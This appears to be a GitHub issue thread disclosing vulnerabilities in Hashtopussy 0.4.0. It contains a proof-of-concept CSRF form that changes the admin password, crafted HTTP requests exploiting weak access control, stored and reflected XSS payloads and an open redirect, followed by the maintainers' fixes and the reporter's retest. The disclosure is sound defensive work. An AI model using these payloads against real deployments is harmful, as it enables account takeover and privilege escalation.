Hashtopussy 0.4.0 Multiple Vulnerabilities

[ghost]

CSRF (Admin Password Change) Cross-site request forgery protection is not available on sensitive forms. In the following example is possible to change the admin password:

<script>history.pushState('', '', '/')</script>
    <form action="http://localhost/hashtopussy/users.php?id=1 " method="POST">
      <input type="hidden" name="action" value="setPassword" />
      <input type="hidden" name="user" value="1" />
      <input type="hidden" name="pass" value="AdminOwn3d" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>

Weak ACL Some pages and functionalities were not configured with a proper ACL. It was possible to perform the following actions as user role (20):

• Add voucher
• Delete voucher
• Add new agent using the generated voucher
• Create new hashcat release (Also vulnerable to Stored XSS affecting all users and roles)
• Delete new hashcat release

The following PoC can be used to create a new voucher with user role. Afterwards on "/hashtopussy/agents.php?new=true" is possible to show all the available vouchers.

POST /hashtopussy/agents.php?new=true HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Cookie: session=<valid_user_session>; 
Connection: close

action=createVoucher&newvoucher=DzTc9akk

Stored XSS (Readable by any user or role)

By taking advantage of the already discussed "Weak ACL" issue, a user would be able to create a new Hashcat Release. The XSS is triggered inside hashcat.php on the following parameters: version, url and rootdir. The following PoC is available:

POST /hashtopussy/hashcat.php?new=true HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=---------------------------35464630613572079671329897993
Content-Length: 522
Cookie: session=<user_valid_session>; Connection: close

-----------------------------35464630613572079671329897993
Content-Disposition: form-data; name="action" 

createRelease
-----------------------------35464630613572079671329897993
Content-Disposition: form-data; name="version" 

1<script>alert(1)</script>
-----------------------------35464630613572079671329897993
Content-Disposition: form-data; name="url" 

asd
-----------------------------35464630613572079671329897993
Content-Disposition: form-data; name="rootdir" 

A stored XSS, readable by any role, may trigger a privilege escalation if executed by an administrative role.

Open redirect (only with valid credentials) An informational issue for the developer: It was possible to fully control the “Location” response header during the login process, to force the session to be redirected to a third-party website. The following request will forward the session to Google:

POST /hashtopussy/login.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Connection: close

fw=https://www.google.com&username=<valid_user>&password=<valid_pass>

Reflective XSS (affecting only authenticated users) Some reflective XSS were identified in `hashes.php' page, affective the following parameters: hashlist, filter and display. The following example will trigger an alert message on screen to authenticated users:

/hashtopussy/hashes.php?hashlist=1&filter=&display=<script>alert(1)</script>&page=1

Stored XSS (Only affecting user's session) This XSS can be triggered by adding a new notification. This attack is stored, but only readable by current user (who created it basically). The following PoC if available:

POST /hashtopussy/notifications.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 143
Cookie: session=<User_Valid_Session>; 
Connection: close

action=createNotification&actionType=deleteHashlist&tasks=ALL&agents=ALL&hashlists=ALL&notification=ChatBot&receiver=<script>alert(1);</script>

[winxp5421]

Nice! thanks for your hard work. We appreciate this big time. We will implement changes as soon as we can.

[s3inlc]

Thanks a lot for this list of vulnerabilities. These should all be fixed now, the changes are merged into the master branch, feel free to test it again now or test against other vulnerabilities. Please close this issue when you think all is fixed.

[ghost]

CSRF protection implemented Please consider to use strict comparison instead of the actual loose comparison. Some good articles about this topic: http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20PHP%20loose%20comparison%20-%20Type%20Juggling%20-%20OWASP.pdf https://www.copterlabs.com/strict-vs-loose-comparisons-in-php/

Weak ACL fixed. I would only suggest to avoid form showing on "hashcat.php?new=true", by implementing the same control you did on "agent.php?new=true"

Open redirect fixed.

'hashlist' parameter in hashes.php is still vulnerable to XSS. PoC: GET /hashtopussy//hashes.php?hashlist=1%22%3e%3cscript%3ealert(1)%3c%2fscript%3e&filter=&display=hash&page=0 HTTP/1.1

'filter' parameter on hashes.php is not yet fully protected. PoC (onmouseover event to trigger the alert): GET /hashtopussy//hashes.php?hashlist=1&filter=20403"+onmouseover="alert(321);"&display=hash&page=0 HTTP/1.1

'display' parameter on hashes.php is not yet fully protected. PoC (onmouseover event to trigger the XSS): GET /hashtopussy//hashes.php?hashlist=1&filter=&display=hash3921320403"+onmouseover="alert(321);"&page=0 HTTP/1.1

'version' parameter on hashcat.php is still vulnerable. PoC (triggered via onSubmit)

[...]
-----------------------------166801759916504554271410651358
Content-Disposition: form-data; name="version"

11')) return false; alert(123); //
-----------------------------166801759916504554271410651358
[...]

Which will result in: onSubmit="if (!confirm('Really delete Hashcat release 11')) return false; alert(123); //?')) return false;">

Preventing XSS is not simple encoding "<" or ">" chars. It's still possible to do a lot with ', ", ), /, \, (, [, ] etc

Good articles about this topic: https://www.acunetix.com/blog/articles/preventing-xss-attacks/ https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

[s3inlc]

Thanks again for the exact analysis of Hashtopussy.

The check for the CSRF token is strict now. The form for creating new Hashcat releases also is only viewable with at least superuser rights.

The other XSS vulnerabilities were caused because I used the htmlentities() function without the quote type set. This is now set to both quote type (' and ") to be replaced, which fixes the parameters on hashes.php and also the version on hashcat.php.

I hope I didn't miss anything now. Maybe it's not the best solution at the moment, at a later point I will replace it with a good escaping function.

[ghost]

Thank you for being so fast in the response.

All the reported issues have been fixed.